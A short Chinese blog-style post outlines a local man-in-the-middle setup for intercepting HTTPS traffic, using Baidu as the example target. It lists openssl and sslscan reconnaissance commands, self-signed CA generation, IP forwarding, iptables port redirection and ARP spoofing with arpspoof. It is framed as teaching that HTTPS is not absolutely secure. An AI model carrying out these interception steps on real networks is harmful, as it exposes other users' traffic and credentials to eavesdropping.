# 如何劫持https的请求?

很多人在google上搜索“前端面试 + https详解”,把答案倒背如流,但是问到如何劫持https请求的时候就一脸懵逼,是因为还是停留在https理论性阶段。 想告诉大家的是,就算是https,也不是绝对的安全,以下提供一个本地劫持https请求的简单思路。 模拟中间人攻击,以百度为例:

  • 先用OpenSSL查看下证书,直接调用openssl库识别目标服务器支持的SSL/TLS cipher suite
    openssl s_client -connect www.baidu.com:443
  • 用sslcan识别ssl配置错误,过期协议,过时cipher suite和hash算法
    sslscan -tlsall www.baidu.com:443
  • 分析证书详细数据
    sslscan -show-certificate --no-ciphersuites www.baidu.com:443
  • 生成一个证书
    openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
  • 开启路由功能
    sysctl -w net.ipv4.ip_forward=1
  • 写转发规则,将80、443端口进行转发给8080和8443端口
    iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 
    iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443

最后使用arpspoof进行arp欺骗